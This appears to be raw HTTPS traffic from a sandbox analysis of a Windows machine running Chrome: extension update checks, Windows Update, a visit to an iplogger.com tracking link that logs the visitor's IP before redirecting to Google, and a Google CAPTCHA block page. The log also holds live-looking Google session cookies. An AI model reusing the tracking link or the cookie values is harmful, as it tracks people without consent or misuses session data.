2023-10-13 14:06:19 UTC	4529	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	172.217.14.109	443	192.168.2.4	49795	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:19 UTC	4530	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 Oct 2023 14:06:19 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-gJ3n8mxXz3KlsLmiuyle2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:19 UTC	4533	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2023-10-13 14:06:19 UTC	4533	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	142.250.72.238	443	192.168.2.4	49796	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:19 UTC	4531	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-QnPui1IbU4mjPdh-WV0xZg' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 13 Oct 2023 14:06:19 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6129 X-Daystart: 25579 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:19 UTC	4532	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 31 32 39 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 35 35 37 39 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6129" elapsed_seconds="25579"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2023-10-13 14:06:19 UTC	4532	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2023-10-13 14:06:19 UTC	4533	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49798	148.251.234.93	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:19 UTC	4533	OUT	GET /2Xtsj4 HTTP/1.1 Host: iplogger.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	148.251.234.93	443	192.168.2.4	49798	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:20 UTC	4533	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 13 Oct 2023 14:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: 504464551719767364=1; expires=Sun, 13-Oct-2024 14:06:20 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=102.129.145.68; expires=Sun, 13-Oct-2024 14:06:20 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict Expires: Fri, 13 Oct 2023 14:06:20 +0000 Cache-Control: no-store, no-cache, must-revalidate Location: http://www.google.com Strict-Transport-Security: max-age=604800 Content-Security-Policy: img-src https: data:; upgrade-insecure-requests Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2023-10-13 14:06:20 UTC	4534	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49801	172.217.12.132	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:21 UTC	4534	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49745	40.68.123.157	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:05:20 UTC	2	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Dkp+dP4Z5zapEpb&MD=nzWCzNSw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2023-10-13 14:05:20 UTC	2	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 85b1abbc-7410-4888-b052-e65e63cd9689 MS-RequestId: 384d56f2-501e-4285-87f9-3d18fe1e8ed2 MS-CV: ugl15qttr0CH39uy.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 13 Oct 2023 14:05:19 GMT Connection: close Content-Length: 24490
2023-10-13 14:05:20 UTC	3	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2023-10-13 14:05:20 UTC	18	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	172.217.12.132	443	192.168.2.4	49801	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:22 UTC	4535	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ_S-758Ok-yydlZOMNOB66mld60E3QcDAVKZ9dB8HvOtDLreMbtr1MyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgsI3p2lqQYQ98yEahIEZoGRRA Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-TGLCK7zxLUiyOgeKQ_g2Cg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Fri, 13 Oct 2023 14:06:22 GMT Server: gws Content-Length: 398 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2023-10-13-14; expires=Sun, 12-Nov-2023 14:06:22 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: AEC=Ackid1SHF6KgMM6Hky1Du36-ZdSn2l-UY4CLLpcCSmxwfuJT4D-atBgTGw; expires=Wed, 10-Apr-2024 14:06:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-10-13 14:06:22 UTC	4537	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 26 61 6d 70 3b 71 3d 45 67 52 6d 67 5a 46 45 47 4e 32 64 70 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZFEGN2dp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49803	172.217.12.132	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:23 UTC	4537	OUT	GET /sorry/index?continue=https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ_S-758Ok-yydlZOMNOB66mld60E3QcDAVKZ9dB8HvOtDLreMbtr1MyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-13-14; AEC=Ackid1SHF6KgMM6Hky1Du36-ZdSn2l-UY4CLLpcCSmxwfuJT4D-atBgTGw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	172.217.12.132	443	192.168.2.4	49803	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:23 UTC	4538	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 13 Oct 2023 14:06:23 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3056 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-10-13 14:06:23 UTC	4538	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/</title></head><body style="font
2023-10-13 14:06:23 UTC	4539	IN	Data Raw: 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 42 7a 77 42 66 62 66 30 67 38 33 5f 48 69 4d 6a 55 4b 36 44 4d 5f 72 79 7a 66 59 57 69 64 46 4d 39 35 73 76 46 68 6d 67 4f 68 52 75 33 33 6c 4f 74 Data Ascii: esponse) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="BzwBfbf0g83_HiMjUK6DM_ryzfYWidFM95svFhmgOhRu33lOt
2023-10-13 14:06:23 UTC	4541	IN	Data Raw: 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 73 6f 6c 76 69 6e 67 20 74 68 65 20 61 62 6f 76 65 20 43 41 50 54 43 48 41 20 77 69 6c 6c 20 6c 65 74 20 79 6f 75 Data Ascii: sts coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solving the above CAPTCHA will let you

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49806	172.217.12.132	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:24 UTC	4541	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ_S-758Ok-yydlZOMNOB66mld60E3QcDAVKZ9dB8HvOtDLreMbtr1MyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-13-14; AEC=Ackid1SHF6KgMM6Hky1Du36-ZdSn2l-UY4CLLpcCSmxwfuJT4D-atBgTGw

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	172.217.12.132	443	192.168.2.4	49806	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2023-10-13 14:06:24 UTC	4543	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 Expires: Fri, 13 Oct 2023 14:06:24 GMT Date: Fri, 13 Oct 2023 14:06:24 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2023-10-13 14:06:24 UTC	4543	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var 